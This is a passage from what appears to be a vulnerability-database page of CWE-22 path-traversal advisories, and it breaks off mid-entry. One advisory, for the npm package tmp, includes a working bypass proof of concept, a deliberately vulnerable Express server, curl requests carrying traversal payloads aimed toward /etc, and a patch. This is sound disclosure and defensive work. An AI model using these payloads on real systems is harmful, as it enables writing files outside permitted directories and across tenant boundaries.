CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13217 vulnerabilities reference this CWE, most recent first.
GHSA-7C6Q-JQWC-4423
Vulnerability from github – Published: 2022-02-09 23:07 – Updated: 2021-04-13 17:54In Crafter CMS Crafter Studio 3.0.1 a directory traversal vulnerability exists which allows unauthenticated attackers to overwrite files from the operating system which can lead to RCE.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.craftercms:crafter-studio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-15681"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-13T17:54:22Z",
"nvd_published_at": "2020-11-27T18:15:00Z",
"severity": "CRITICAL"
},
"details": "In Crafter CMS Crafter Studio 3.0.1 a directory traversal vulnerability exists which allows unauthenticated attackers to overwrite files from the operating system which can lead to RCE.",
"id": "GHSA-7c6q-jqwc-4423",
"modified": "2021-04-13T17:54:22Z",
"published": "2022-02-09T23:07:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15681"
},
{
"type": "WEB",
"url": "https://docs.craftercms.org/en/3.0/security/advisory.html"
},
{
"type": "WEB",
"url": "http://crafter.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Path Traversal in Crafter CMS Crafter Studio"
}
GHSA-7C78-G5WC-HCCH
Vulnerability from github – Published: 2024-09-16 18:31 – Updated: 2024-09-21 00:34The Windows version of WebIQ 2.15.9 is affected by a directory traversal vulnerability that allows remote attackers to read any file on the system.
{
"affected": [],
"aliases": [
"CVE-2024-8752"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-16T16:15:14Z",
"severity": "CRITICAL"
},
"details": "The Windows version of WebIQ 2.15.9 is affected by a directory traversal vulnerability that allows remote attackers to read any file on the system.",
"id": "GHSA-7c78-g5wc-hcch",
"modified": "2024-09-21T00:34:48Z",
"published": "2024-09-16T18:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8752"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2024-38"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7C78-JF6Q-G5CM
Vulnerability from github – Published: 2026-06-15 16:36 – Updated: 2026-06-15 16:36Summary
The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.
This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.
Impact
- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
- Directory creation outside the intended tree (via
tmp.dir{,Sync}), which can then host a subsequent symlink swap. - File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.
Affected versions
tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.
Vulnerable code
lib/tmp.js at tag v0.2.6, commit 41f7159:
// lib/tmp.js:533-539
function _assertPath(path) {
if (path.includes("..")) {
throw new Error("Relative value not allowed");
}
return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525 - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
opts.prefix ? opts.prefix : 'tmp',
'-',
process.pid,
'-',
_randomChars(12),
opts.postfix ? '-' + opts.postfix : ''
].join('');
return path.join(tmpDir, opts.dir, name);
Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.
How untrusted data reaches _assertPath
Two production-realistic shapes that yield a non-string prefix/postfix/template:
- JSON request bodies.
express.json()(and any other JSON body parser) preserves the parsed value's type. A body of{"prefix":["../escape"]}reaches the handler as an Array. qs-style bracket-array query strings. Express 4's defaultqsparser turns?prefix[]=../escapeinto['../escape']. The same applies to any framework usingqs(Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).
The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.
Proof of concept (string vs array)
poc.js (run after npm install tmp@0.2.6):
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('[negative control] string "../escape" - must be blocked');
try {
const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
console.log(' UNEXPECTED, file at:', r.name);
r.removeCallback();
} catch (e) {
console.log(' BLOCKED as expected:', e.message);
}
console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
console.log(' CREATED at:', r.name);
console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
r.removeCallback();
} catch (e) {
console.log(' BLOCKED:', e.message);
}
console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
const r = tmp.fileSync({
tmpdir: baseDir,
prefix: { toString: () => '../escape', includes: () => false }
});
console.log(' CREATED at:', r.name);
console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
r.removeCallback();
} catch (e) {
console.log(' BLOCKED:', e.message);
}
Observed output on tmp@0.2.6:
[negative control] string "../escape" - must be blocked
BLOCKED as expected: Relative value not allowed
[bypass] array ["../escape"] - same effective value, not blocked
CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
ESCAPED: true
[bypass] duck-typed object {toString, includes} - also not blocked
CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
ESCAPED: true
End-to-end reproduction (against the deployed npm package)
Install:
mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5
victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:
const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');
const app = express();
app.use(express.json());
const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);
app.post('/upload', (req, res) => {
const userPrefix = req.body.prefix; // attacker-controlled
console.log('[victim] received prefix:', JSON.stringify(userPrefix),
'(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');
tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
if (err) {
console.log('[victim] tmp error:', err.message);
return res.status(400).json({ error: err.message });
}
fs.writeSync(fd, 'attacker-controlled-content');
fs.closeSync(fd);
const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
res.json({ filepath, escaped, tenantBase: TENANT_BASE });
});
});
app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));
Run:
node victim-server.js &
Drive three requests from another shell:
echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload
echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload
echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload
Captured transcript (verbatim from the test rig):
=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}
=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}
=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}
Server log:
[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'
Observations:
- ATTACK 1 (string
../escape-string) is rejected at_assertPath. The 0.2.6 guard works for plain strings. - ATTACK 2 (array
["../escape-array"]) passes the guard and creates a file at/private/tmp/escape-array-..., outside the tenant base/tmp/tenant-base-3XHwPZ. The file content isattacker-controlled-content. Confirmed withls:
$ ls -la /tmp/escape-array-*
-rw-------@ 1 rick wheel 27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick wheel 64 May 27 20:25 .
Tenant base is empty. The escape is complete.
- ATTACK 3 (array
["../../../etc/poc-tmp-bypass"]) reachesfs.openfor/etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.
Negative control with patched build
Applying the suggested fix below and re-running ATTACK 2:
=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}
The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.
Suggested fix
Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.
--- a/lib/tmp.js
+++ b/lib/tmp.js
@@ -528,11 +528,14 @@ function _generateTmpName(opts) {
/**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
*
* @private
*/
-function _assertPath(path) {
- if (path.includes("..")) {
+function _assertPath(option, value) {
+ if (typeof value !== 'string') {
+ throw new Error(`${option} option must be a string, got "${typeof value}".`);
+ }
+ if (value.includes("..")) {
throw new Error("Relative value not allowed");
}
- return path;
+ return value;
}
@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {
options.unsafeCleanup = !!options.unsafeCleanup;
// for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
- options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
- options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
- options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+ options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+ options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+ options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
}
Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.
Fix PR
https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tmp"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.6"
},
{
"fixed": "0.2.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49982"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T16:36:46Z",
"nvd_published_at": "2026-06-11T17:16:35Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `_assertPath` guard added to `tmp@0.2.6` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes(\u0027..\u0027)` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process\u0027s privileges.\n\nThis affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion.\n\n### Impact\n\n- Arbitrary file creation outside the intended temporary directory, with the running process\u0027s filesystem permissions.\n- Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap.\n- File content that the application writes to the returned descriptor lands at the attacker\u0027s chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.\n\n### Affected versions\n\n`tmp` \u003e= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.\n\n### Vulnerable code\n\n`lib/tmp.js` at tag `v0.2.6`, commit 41f7159:\n\n```javascript\n// lib/tmp.js:533-539\nfunction _assertPath(path) {\n if (path.includes(\"..\")) {\n throw new Error(\"Relative value not allowed\");\n }\n\n return path;\n}\n```\n\n```javascript\n// lib/tmp.js:577-580\noptions.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(options.prefix);\noptions.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(options.postfix);\noptions.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n```\n\n```javascript\n// lib/tmp.js:515-525 - opts.prefix and opts.postfix are stringified by Array.prototype.join\nconst name = [\n opts.prefix ? opts.prefix : \u0027tmp\u0027,\n \u0027-\u0027,\n process.pid,\n \u0027-\u0027,\n _randomChars(12),\n opts.postfix ? \u0027-\u0027 + opts.postfix : \u0027\u0027\n].join(\u0027\u0027);\n\nreturn path.join(tmpDir, opts.dir, name);\n```\n\nRoot cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes(\u0027..\u0027)` checks element equality (so `[\u0027../escape\u0027].includes(\u0027..\u0027)` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () =\u003e false` defeats the check entirely. In both shapes, the subsequent `[...].join(\u0027\u0027)` and `path.join(...)` coerce the value to its underlying string, which still contains `../`.\n\n### How untrusted data reaches `_assertPath`\n\nTwo production-realistic shapes that yield a non-string `prefix`/`postfix`/`template`:\n\n1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value\u0027s type. A body of `{\"prefix\":[\"../escape\"]}` reaches the handler as an Array.\n2. `qs`-style bracket-array query strings. Express 4\u0027s default `qs` parser turns `?prefix[]=../escape` into `[\u0027../escape\u0027]`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).\n\nThe consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.\n\n### Proof of concept (string vs array)\n\n`poc.js` (run after `npm install tmp@0.2.6`):\n\n```javascript\nconst tmp = require(\u0027tmp\u0027);\nconst path = require(\u0027path\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst baseDir = fs.mkdtempSync(\u0027/tmp/safe-base-\u0027);\n\nconsole.log(\u0027[negative control] string \"../escape\" - must be blocked\u0027);\ntry {\n const r = tmp.fileSync({ tmpdir: baseDir, prefix: \u0027../escape\u0027 });\n console.log(\u0027 UNEXPECTED, file at:\u0027, r.name);\n r.removeCallback();\n} catch (e) {\n console.log(\u0027 BLOCKED as expected:\u0027, e.message);\n}\n\nconsole.log(\u0027\\n[bypass] array [\"../escape\"] - same effective value, not blocked\u0027);\ntry {\n const r = tmp.fileSync({ tmpdir: baseDir, prefix: [\u0027../escape\u0027] });\n console.log(\u0027 CREATED at:\u0027, r.name);\n console.log(\u0027 ESCAPED:\u0027, !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n r.removeCallback();\n} catch (e) {\n console.log(\u0027 BLOCKED:\u0027, e.message);\n}\n\nconsole.log(\u0027\\n[bypass] duck-typed object {toString, includes} - also not blocked\u0027);\ntry {\n const r = tmp.fileSync({\n tmpdir: baseDir,\n prefix: { toString: () =\u003e \u0027../escape\u0027, includes: () =\u003e false }\n });\n console.log(\u0027 CREATED at:\u0027, r.name);\n console.log(\u0027 ESCAPED:\u0027, !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n r.removeCallback();\n} catch (e) {\n console.log(\u0027 BLOCKED:\u0027, e.message);\n}\n```\n\nObserved output on `tmp@0.2.6`:\n\n```text\n[negative control] string \"../escape\" - must be blocked\n BLOCKED as expected: Relative value not allowed\n\n[bypass] array [\"../escape\"] - same effective value, not blocked\n CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn\n ESCAPED: true\n\n[bypass] duck-typed object {toString, includes} - also not blocked\n CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf\n ESCAPED: true\n```\n\n### End-to-end reproduction (against the deployed npm package)\n\nInstall:\n\n```bash\nmkdir tmp-bypass-poc \u0026\u0026 cd tmp-bypass-poc\nnpm init -y\nnpm install tmp@0.2.6 express@5\n```\n\n`victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`:\n\n```javascript\nconst express = require(\u0027express\u0027);\nconst tmp = require(\u0027tmp\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\n\nconst app = express();\napp.use(express.json());\n\nconst TENANT_BASE = fs.mkdtempSync(\u0027/tmp/tenant-base-\u0027);\nconsole.log(\u0027[victim] Tenant base dir:\u0027, TENANT_BASE);\n\napp.post(\u0027/upload\u0027, (req, res) =\u003e {\n const userPrefix = req.body.prefix; // attacker-controlled\n console.log(\u0027[victim] received prefix:\u0027, JSON.stringify(userPrefix),\n \u0027(type:\u0027, Array.isArray(userPrefix) ? \u0027array\u0027 : typeof userPrefix, \u0027)\u0027);\n\n tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) =\u003e {\n if (err) {\n console.log(\u0027[victim] tmp error:\u0027, err.message);\n return res.status(400).json({ error: err.message });\n }\n fs.writeSync(fd, \u0027attacker-controlled-content\u0027);\n fs.closeSync(fd);\n const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));\n console.log(\u0027[victim] file created at:\u0027, filepath, \u0027ESCAPED:\u0027, escaped);\n res.json({ filepath, escaped, tenantBase: TENANT_BASE });\n });\n});\n\napp.listen(3000, () =\u003e console.log(\u0027[victim] http://127.0.0.1:3000\u0027));\n```\n\nRun:\n\n```bash\nnode victim-server.js \u0026\n```\n\nDrive three requests from another shell:\n\n```bash\necho \u0027=== ATTACK 1: string prefix - caught by 0.2.6 ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"prefix\":\"../escape-string\"}\u0027 http://127.0.0.1:3000/upload\n\necho\necho \u0027=== ATTACK 2: array prefix - bypasses 0.2.6 ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"prefix\":[\"../escape-array\"]}\u0027 http://127.0.0.1:3000/upload\n\necho\necho \u0027=== ATTACK 3: multi-level traversal toward /etc ===\u0027\ncurl -s -X POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"prefix\":[\"../../../etc/poc-tmp-bypass\"]}\u0027 http://127.0.0.1:3000/upload\n```\n\nCaptured transcript (verbatim from the test rig):\n\n```text\n=== ATTACK 1: string prefix - caught by 0.2.6 ===\n{\"error\":\"Relative value not allowed\"}\n\n=== ATTACK 2: array prefix - bypasses 0.2.6 ===\n{\"filepath\":\"/private/tmp/escape-array-79635-gEFyGCBNFSTh\",\"escaped\":true,\"tenantBase\":\"/tmp/tenant-base-3XHwPZ\"}\n\n=== ATTACK 3: multi-level traversal toward /etc ===\n{\"error\":\"EACCES: permission denied, open \u0027/etc/poc-tmp-bypass-79635-PEIABptX8JGH\u0027\"}\n```\n\nServer log:\n\n```text\n[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ\n[victim] received prefix: \"../escape-string\" (type: string )\n[victim] tmp error: Relative value not allowed\n[victim] received prefix: [\"../escape-array\"] (type: array )\n[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true\n[victim] received prefix: [\"../../../etc/poc-tmp-bypass\"] (type: array )\n[victim] tmp error: EACCES: permission denied, open \u0027/etc/poc-tmp-bypass-79635-PEIABptX8JGH\u0027\n```\n\nObservations:\n\n- ATTACK 1 (string `../escape-string`) is rejected at `_assertPath`. The 0.2.6 guard works for plain strings.\n- ATTACK 2 (array `[\"../escape-array\"]`) passes the guard and creates a file at `/private/tmp/escape-array-...`, outside the tenant base `/tmp/tenant-base-3XHwPZ`. The file content is `attacker-controlled-content`. Confirmed with `ls`:\n\n```bash\n$ ls -la /tmp/escape-array-*\n-rw-------@ 1 rick wheel 27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh\n$ cat /tmp/escape-array-*\nattacker-controlled-content\n$ ls -la /tmp/tenant-base-3XHwPZ/\ntotal 0\ndrwx------ 2 rick wheel 64 May 27 20:25 .\n```\n\n Tenant base is empty. The escape is complete.\n\n- ATTACK 3 (array `[\"../../../etc/poc-tmp-bypass\"]`) reaches `fs.open` for `/etc/poc-tmp-bypass-...`. The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.\n\n### Negative control with patched build\n\nApplying the suggested fix below and re-running ATTACK 2:\n\n```text\n=== ATTACK 2: array prefix - after fix ===\n{\"error\":\"prefix option must be a string, got \\\"object\\\".\"}\n```\n\nThe patched build rejects non-string `prefix`/`postfix`/`template` with a clear type error before the path is constructed.\n\n### Suggested fix\n\nPatch `_assertPath` to require a string argument. The check `value.includes(\u0027..\u0027)` is sound only over strings; any non-string with a custom or array-element `includes` semantics bypasses it.\n\n```diff\n--- a/lib/tmp.js\n+++ b/lib/tmp.js\n@@ -528,11 +528,14 @@ function _generateTmpName(opts) {\n /**\n- * Check the prefix and postfix options\n+ * Check the prefix, postfix, and template options\n *\n * @private\n */\n-function _assertPath(path) {\n- if (path.includes(\"..\")) {\n+function _assertPath(option, value) {\n+ if (typeof value !== \u0027string\u0027) {\n+ throw new Error(`${option} option must be a string, got \"${typeof value}\".`);\n+ }\n+ if (value.includes(\"..\")) {\n throw new Error(\"Relative value not allowed\");\n }\n\n- return path;\n+ return value;\n }\n@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {\n options.unsafeCleanup = !!options.unsafeCleanup;\n\n // for completeness\u0027 sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to\n- options.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(options.prefix);\n- options.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(options.postfix);\n- options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n+ options.prefix = _isUndefined(options.prefix) ? \u0027\u0027 : _assertPath(\u0027prefix\u0027, options.prefix);\n+ options.postfix = _isUndefined(options.postfix) ? \u0027\u0027 : _assertPath(\u0027postfix\u0027, options.postfix);\n+ options.template = _isUndefined(options.template) ? undefined : _assertPath(\u0027template\u0027, options.template);\n }\n```\n\nDefence-in-depth, recommended in addition to the type check: validate the final resolved path against `tmpdir` after `_generateTmpName`, similar to what `_getRelativePath` already does for `dir` and `template`. That way any future bypass through a different vector (e.g., a future Node `path` change, or a different option) does not exit `tmpdir`.\n\n### Fix PR\n\nhttps://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-7c78-jf6q-g5cm",
"modified": "2026-06-15T16:36:46Z",
"published": "2026-06-15T16:36:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-7c78-jf6q-g5cm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49982"
},
{
"type": "PACKAGE",
"url": "https://github.com/raszi/node-tmp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template"
}
GHSA-7C7F-876R-777Q
Vulnerability from github – Published: 2022-05-02 00:02 – Updated: 2022-05-02 00:02Directory traversal vulnerability in includes/events_application_top.php in Freeway before 1.4.2.197 allows remote attackers to include and execute arbitrary local files via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2008-3677"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-08-14T19:41:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in includes/events_application_top.php in Freeway before 1.4.2.197 allows remote attackers to include and execute arbitrary local files via unspecified vectors.",
"id": "GHSA-7c7f-876r-777q",
"modified": "2022-05-02T00:02:35Z",
"published": "2022-05-02T00:02:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3677"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44426"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31475"
},
{
"type": "WEB",
"url": "http://sourceforge.net/project/shownotes.php?release_id=619467"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30676"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7C7J-678J-GCCH
Vulnerability from github – Published: 2026-07-08 15:31 – Updated: 2026-07-08 15:32Omnissa Workspace ONE® Tunnel for Windows addresses a Local Privilege Escalation Vulnerability.
{
"affected": [],
"aliases": [
"CVE-2026-22927"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-08T14:16:57Z",
"severity": "HIGH"
},
"details": "Omnissa Workspace ONE\u00ae Tunnel for Windows addresses a Local Privilege Escalation Vulnerability.",
"id": "GHSA-7c7j-678j-gcch",
"modified": "2026-07-08T15:32:00Z",
"published": "2026-07-08T15:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22927"
},
{
"type": "WEB",
"url": "https://www.omnissa.com/omnissa-security-response"
},
{
"type": "WEB",
"url": "https://www.omnissa.com/omsa-2026-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7C8R-V4X3-JVVM
Vulnerability from github – Published: 2025-05-19 21:30 – Updated: 2026-04-01 18:35Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in ThemeGoods Grand Restaurant WordPress allows Path Traversal.This issue affects Grand Restaurant WordPress: from n/a through 7.0.
{
"affected": [],
"aliases": [
"CVE-2025-32926"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-19T20:15:22Z",
"severity": "CRITICAL"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in ThemeGoods Grand Restaurant WordPress allows Path Traversal.This issue affects Grand Restaurant WordPress: from n/a through 7.0.",
